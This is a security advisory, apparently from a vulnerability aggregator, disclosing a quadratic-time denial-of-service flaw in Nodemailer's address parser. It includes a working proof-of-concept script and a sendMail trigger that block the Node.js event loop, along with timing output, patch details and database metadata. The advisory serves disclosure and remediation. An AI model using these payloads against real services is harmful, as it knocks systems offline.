Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.
Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.
Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.
### Summary
Nodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.
This requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).
### Details
`addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505):
```js
addresses.forEach(addr => {
const handled = _handleAddress(addr, depth);
if (handled.length) {
parsedAddresses = parsedAddresses.concat(handled); // <-- line ~503
}
});
```
`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.
**Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input:
```
parsedAddresses = parsedAddresses.concat(handled); -> 100000 addresses: ~6068 ms
parsedAddresses.push.apply(parsedAddresses, handled); -> 100000 addresses: ~51 ms (≈119x faster, now linear)
```
**Measured scaling** (nodemailer 9.0.6, `'[email protected],'.repeat(n)`):
| addresses n | input size | parse time | ratio for 2× input |
|---|---|---|---|
| 25,000 | 0.19 MB | ~0.35 s | – |
| 50,000 | 0.38 MB | ~1.4 s | ×4.0 |
| 100,000 | 0.76 MB | ~6–8 s | ×3.9 |
| 200,000 | 1.53 MB | ~25–30 s| ×4.1 |
Doubling the input quadruples the time — the signature of O(n²).
**Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', '[email protected],'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.
**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.
### PoC
Environment: Node.js ≥ 18 and the published `[email protected]`. No transport, network, or configuration required — the cost is in parsing.
`poc-dos.js`:
```js
'use strict';
const addressparser = require('nodemailer/lib/addressparser');
console.log('addresses | input size | parse time');
for (const n of [25000, 50000, 100000, 200000]) {
const payload = '[email protected],'.repeat(n); // n valid, comma-separated recipients
const t0 = process.hrtime.bigint();
addressparser(payload); // blocks synchronously
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms');
}
```
Run:
```
npm init -y && npm install [email protected]
node poc-dos.js
```
Actual output (nodemailer 9.0.6):
```
addresses | input size | parse time
25000 | 0.19 MB | 381 ms
50000 | 0.38 MB | 1435 ms
100000 | 0.76 MB | 7949 ms
200000 | 1.53 MB | 25154 ms
```
Equivalent trigger through the normal send API (freezes the event loop):
```js
const nodemailer = require('nodemailer');
nodemailer.createTransport({ jsonTransport: true })
.sendMail({ from: '[email protected]', to: '[email protected],'.repeat(150000), subject: 'x', text: 'y' });
// ~15+ seconds of 100% CPU inside addressparser before anything is sent
```
### Impact
* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.
## Patched in 9.1.0
Three separate quadratic paths were fixed, not one:
* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).
* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <[email protected]>,'.repeat(n)` (same commit).
* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'[email protected],'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.
Fixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).
Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Sep 16, 2026, 9:47:00 PM
dateUpdated: Sep 17, 2026, 1:23:33 PM
1 related source bulletins · separate from aliases
WID-SEC-W-2026-3621: IBM App Connect Enterprise: Mehrere Schwachstellen
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Awaiting Analysis
Weakness classifications: CWE-400
Original publisher date fields
published: 2026-09-16T22:18:30.557
lastModified: 2026-09-22T20:25:55.870
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.